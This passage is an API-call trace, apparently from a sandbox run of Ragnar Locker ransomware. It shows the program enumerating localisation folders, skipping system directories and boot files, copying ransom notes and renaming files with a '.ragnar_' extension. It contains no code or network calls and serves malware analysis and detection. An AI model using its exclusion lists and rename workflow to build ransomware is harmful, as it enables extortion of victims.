files\\microsoft shared\\ink\\es-es\\tipresx.dll.mui"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0054.642] CloseHandle (hObject=0xffffffff) returned 0 [0054.642] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\tipresx.dll.mui" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\tipresx.dll.mui") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\tipresx.dll.mui" [0054.642] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\tipresx.dll.mui", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\tipresx.dll.mui.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\tipresx.dll.mui.ragnar_FD7BD9FC" [0054.642] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-es\\tipresx.dll.mui"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\tipresx.dll.mui.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-es\\tipresx.dll.mui.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0054.642] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe41519b8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe41519b8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0054.642] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0054.642] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et-EE", cAlternateFileName="")) returned 1 [0054.642] lstrcmpiW (lpString1="et-EE", lpString2=".") returned 1 [0054.642] lstrcmpiW (lpString1="et-EE", lpString2="..") returned 1 [0054.642] lstrcmpiW (lpString1="et-EE", lpString2="Windows") returned -1 [0054.642] lstrcmpiW (lpString1="et-EE", lpString2="Windows.old") returned -1 [0054.642] lstrcmpiW (lpString1="et-EE", lpString2="Tor browser") returned -1 [0054.642] lstrcmpiW (lpString1="et-EE", lpString2="Internet Explorer") returned -1 [0054.642] lstrcmpiW (lpString1="et-EE", lpString2="Google") returned -1 [0054.642] lstrcmpiW (lpString1="et-EE", lpString2="Opera") returned -1 [0054.642] lstrcmpiW (lpString1="et-EE", lpString2="Opera Software") returned -1 [0054.642] lstrcmpiW (lpString1="et-EE", lpString2="Mozilla") returned -1 [0054.642] lstrcmpiW (lpString1="et-EE", lpString2="Mozilla Firefox") returned -1 [0054.642] lstrcmpiW (lpString1="et-EE", lpString2="$Recycle.Bin") returned 1 [0054.642] lstrcmpiW (lpString1="et-EE", lpString2="ProgramData") returned -1 [0054.642] lstrcmpiW (lpString1="et-EE", lpString2="All Users") returned 1 [0054.642] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0054.642] lstrcpyW (in: lpString1=0x1eb62e, lpString2="et-EE" | out: lpString1="et-EE") returned="et-EE" [0054.642] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\" [0054.643] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\" [0054.643] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\RGNR_FD7BD9FC.txt" [0054.643] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\et-ee\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0054.720] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\*.*" [0054.720] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0054.720] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0054.720] lstrcpyW (in: lpString1=0x1ea74e, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0054.720] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x72dc75c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x72dc75c0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0054.720] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0054.720] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x72dc75c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x72dc75c0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.720] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0054.720] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0054.720] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72dc75c0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x72dc75c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0054.720] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0054.720] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0054.720] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb4e9cfd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeb74b2cd, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeb74b2cd, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0054.720] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2=".") returned 1 [0054.720] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="..") returned 1 [0054.720] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb4e9cfd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeb74b2cd, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeb74b2cd, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0054.721] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0054.721] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x72dc75c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x72dc75c0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0054.721] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x72dc75c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x72dc75c0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.721] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72dc75c0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x72dc75c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0054.721] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0054.721] lstrcpyW (in: lpString1=0x1eab62, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0054.721] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\RGNR_FD7BD9FC.txt") returned=".txt" [0054.721] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0054.721] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb4e9cfd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeb74b2cd, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeb74b2cd, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0054.721] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0054.721] lstrcpyW (in: lpString1=0x1eab62, lpString2="tipresx.dll.mui" | out: lpString1="tipresx.dll.mui") returned="tipresx.dll.mui" [0054.721] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\tipresx.dll.mui") returned=".mui" [0054.721] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0054.721] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="autorun.inf") returned 1 [0054.721] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="boot.ini") returned 1 [0054.721] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootfont.bin") returned 1 [0054.721] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootsect.bak") returned 1 [0054.721] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgr") returned 1 [0054.721] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgr.efi") returned 1 [0054.721] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgfw.efi") returned 1 [0054.721] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="desktop.ini") returned 1 [0054.721] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="iconcache.db") returned 1 [0054.721] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntldr") returned 1 [0054.721] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.dat") returned 1 [0054.721] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.dat.log") returned 1 [0054.721] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.ini") returned 1 [0054.721] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="thumbs.db") returned 1 [0054.721] lstrcmpiW (lpString1=".mui", lpString2=".db") returned 1 [0054.721] lstrcmpiW (lpString1=".mui", lpString2=".sys") returned -1 [0054.721] lstrcmpiW (lpString1=".mui", lpString2=".dll") returned 1 [0054.722] lstrcmpiW (lpString1=".mui", lpString2=".lnk") returned 1 [0054.722] lstrcmpiW (lpString1=".mui", lpString2=".msi") returned 1 [0054.722] lstrcmpiW (lpString1=".mui", lpString2=".drv") returned 1 [0054.722] lstrcmpiW (lpString1=".mui", lpString2=".exe") returned 1 [0054.722] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\et-ee\\tipresx.dll.mui")) returned 0x20 [0054.722] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\et-ee\\tipresx.dll.mui"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0054.722] CloseHandle (hObject=0xffffffff) returned 0 [0054.722] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\tipresx.dll.mui" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\tipresx.dll.mui") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\tipresx.dll.mui" [0054.722] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\tipresx.dll.mui", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\tipresx.dll.mui.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\tipresx.dll.mui.ragnar_FD7BD9FC" [0054.722] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\et-ee\\tipresx.dll.mui"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\tipresx.dll.mui.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\et-ee\\tipresx.dll.mui.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0054.722] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb4e9cfd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeb74b2cd, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeb74b2cd, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0054.722] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0054.722] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0054.722] lstrcmpiW (lpString1="fi-FI", lpString2=".") returned 1 [0054.722] lstrcmpiW (lpString1="fi-FI", lpString2="..") returned 1 [0054.722] lstrcmpiW (lpString1="fi-FI", lpString2="Windows") returned -1 [0054.722] lstrcmpiW (lpString1="fi-FI", lpString2="Windows.old") returned -1 [0054.722] lstrcmpiW (lpString1="fi-FI", lpString2="Tor browser") returned -1 [0054.722] lstrcmpiW (lpString1="fi-FI", lpString2="Internet Explorer") returned -1 [0054.722] lstrcmpiW (lpString1="fi-FI", lpString2="Google") returned -1 [0054.722] lstrcmpiW (lpString1="fi-FI", lpString2="Opera") returned -1 [0054.722] lstrcmpiW (lpString1="fi-FI", lpString2="Opera Software") returned -1 [0054.723] lstrcmpiW (lpString1="fi-FI", lpString2="Mozilla") returned -1 [0054.723] lstrcmpiW (lpString1="fi-FI", lpString2="Mozilla Firefox") returned -1 [0054.723] lstrcmpiW (lpString1="fi-FI", lpString2="$Recycle.Bin") returned 1 [0054.723] lstrcmpiW (lpString1="fi-FI", lpString2="ProgramData") returned -1 [0054.723] lstrcmpiW (lpString1="fi-FI", lpString2="All Users") returned 1 [0054.723] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0054.723] lstrcpyW (in: lpString1=0x1eb62e, lpString2="fi-FI" | out: lpString1="fi-FI") returned="fi-FI" [0054.723] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\" [0054.723] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\" [0054.723] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\RGNR_FD7BD9FC.txt" [0054.723] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fi-fi\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0054.725] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\*.*" [0054.725] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0054.725] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0054.725] lstrcpyW (in: lpString1=0x1ea74e, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0054.725] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x72dc75c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x72dc75c0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0054.725] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0054.725] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x72dc75c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x72dc75c0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.725] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0054.725] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0054.725] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72dc75c0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x72dc75c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0054.725] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0054.725] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0054.725] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe47dd5b4, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4a64ce1, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4a64ce1, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0054.725] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2=".") returned 1 [0054.725] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="..") returned 1 [0054.725] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe47dd5b4, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4a64ce1, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4a64ce1, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0054.725] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0054.726] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x72dc75c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x72dc75c0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, 